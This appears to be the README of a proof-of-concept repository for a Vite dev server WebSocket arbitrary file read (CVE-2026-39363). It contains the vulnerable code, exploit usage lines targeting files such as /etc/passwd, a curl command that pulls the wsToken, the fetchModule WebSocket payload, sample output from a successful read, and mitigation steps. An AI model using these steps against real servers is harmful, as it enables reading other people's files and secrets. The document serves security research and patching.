Vite Dev Server WebSocket Arbitrary File Read Vulnerability
| 属性 | 信息 |
|---|---|
| CVE ID | CVE-2026-39363 |
| GHSA ID | GHSA-p9ff-h696-f583 |
| 漏洞类型 | Arbitrary File Read (任意文件读取) |
| 影响组件 | Vite Dev Server |
| 影响版本 | Vite < 6.2.3, < 6.1.2, < 6.0.12, < 5.4.15, < 4.5.10 |
| CVSS 评分 | High |
| 修复版本 | Vite >= 6.2.3 |
Vite Dev Server 的 WebSocket fetchModule RPC 调用存在安全检查绕过漏洞。
漏洞代码位置: vite/dist/node/chunks/dep-B0fRCRkQ.js:52065-52070
async function fetchModule(environment, url, importer, options = {}) {
// ...
const isFileUrl = url.startsWith("file://");
// 关键漏洞点:当 URL 是 file:// 或没有 importer 时
// 直接调用 resolveId,没有进行 isFileServingAllowed 检查!
if (isFileUrl || !importer) {
const resolved = await environment.pluginContainer.resolveId(url);
if (!resolved) {
throw new Error(`[vite] cannot find entry point module '${url}'.`);
}
url = normalizeResolvedIdToUrl(environment, url, resolved);
}
// ...继续处理并返回文件内容
}
┌─────────────────────────────────────────────────────────────────┐
│ HTTP 请求路径 (有安全检查) │
├─────────────────────────────────────────────────────────────────┤
│ HTTP GET /@fs/C:/secret.txt │
│ │ │
│ ▼ │
│ ensureServingAccess() │
│ │ │
│ ▼ │
│ isFileServingAllowed() │
│ │ │
│ ▼ │
│ isFileLoadingAllowed() ────> BLOCKED │
│ (检查 server.fs.allow) │
└─────────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────────┐
│ WebSocket 请求路径 (绕过检查) │
├─────────────────────────────────────────────────────────────────┤
│ WebSocket: fetchModule("file://C:/secret.txt") │
│ │ │
│ ▼ │
│ fetchModule() │
│ (isFileUrl || !importer) ───> 直接 resolveId │
│ │ │
│ ▼ │
│ loadAndTransform() │
│ isFileLoadingAllowed() ────> 取决于 fs.allow 配置 │
│ │ │
│ ▼ │
│ 成功返回文件内容 (如果 fs.allow 允许) │
└─────────────────────────────────────────────────────────────────┘
HTTP 路径: 经过 ensureServingAccess → isFileServingAllowed → isFileLoadingAllowed 多层检查
WebSocket 路径:
fetchModule 函数没有调用 isFileServingAllowedloadAndTransform 中的 isFileLoadingAllowed 仍然生效server.fs.allow 配置宽松,可读取任意文件--host)fs.allow: ['..'] - 可读取上级目录fs.allow: ['C:/'] - 可读取整个 C 盘fs.strict: false - 完全无限制/@vite/client)# 克隆仓库
git clone [email protected]:Firebasky/CVE-2026-39363.git
cd CVE-2026-39363
# 安装依赖
npm install
# 启动 Vite Dev Server(使用宽松配置演示漏洞)
npm run dev
# 基本用法(自动检测端口)
python exp.py -t localhost -p 5173 -f "C:/Windows/win.ini"
# 读取项目外文件
python exp.py -t localhost -p 5173 -f "E:/secret.txt"
# 指定 token
python exp.py -t localhost -p 5173 -f "/etc/passwd" --token "your_token"
# 获取 wsToken
curl -s "http://localhost:5173/@vite/client" | grep -o 'wsToken = "[^"]*"'
# 运行 POC
node poc.js localhost 5173 "C:/Windows/win.ini" "your_token"
curl -s "http://target:5173/@vite/client" | grep wsToken
const ws = new WebSocket('ws://target:5173?token=TOKEN', 'vite-hmr');
{
"type": "custom",
"event": "vite:invoke",
"data": {
"id": "invoke_0",
"name": "fetchModule",
"data": ["file:///C:/Windows/win.ini"]
}
}
============================================================
CVE-2026-39363 POC - Vite WebSocket Arbitrary File Read
============================================================
Target: ws://localhost:5173?token=6zKw8sjZ5KKF
File to read: C:/Windows/win.ini
[*] WebSocket connected successfully
[+] Server confirmed WebSocket connection
[*] Sending RPC: fetchModule(["file://C:/Windows/win.ini"])
============================================================
[+] SUCCESS! Arbitrary file read achieved!
============================================================
File path: C:/Windows/win.ini
------------------------------------------------------------
[+] File content:
------------------------------------------------------------
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
============================================================
CVE-2026-39363/
├── README.md # 漏洞分析文档
├── exp.py # Python exploit 脚本
├── poc.js # Node.js POC
├── vite.config.js # Vite 配置文件(演示用)
├── package.json # 项目配置
├── src/ # 源代码目录
│ ├── main.js
│ ├── counter.js
│ └── style.css
├── public/ # 静态资源
└── index.html # 入口 HTML
npm update vite
# 或
npm install vite@latest
// vite.config.js
export default defineConfig({
server: {
fs: {
strict: true,
allow: ['.'] // 只允许项目根目录
}
}
})
--host 暴露服务本项目仅供安全研究和教育目的使用。请勿将此漏洞利用代码用于任何非法活动。使用本代码进行测试前,请确保您已获得目标系统所有者的明确授权。
MIT License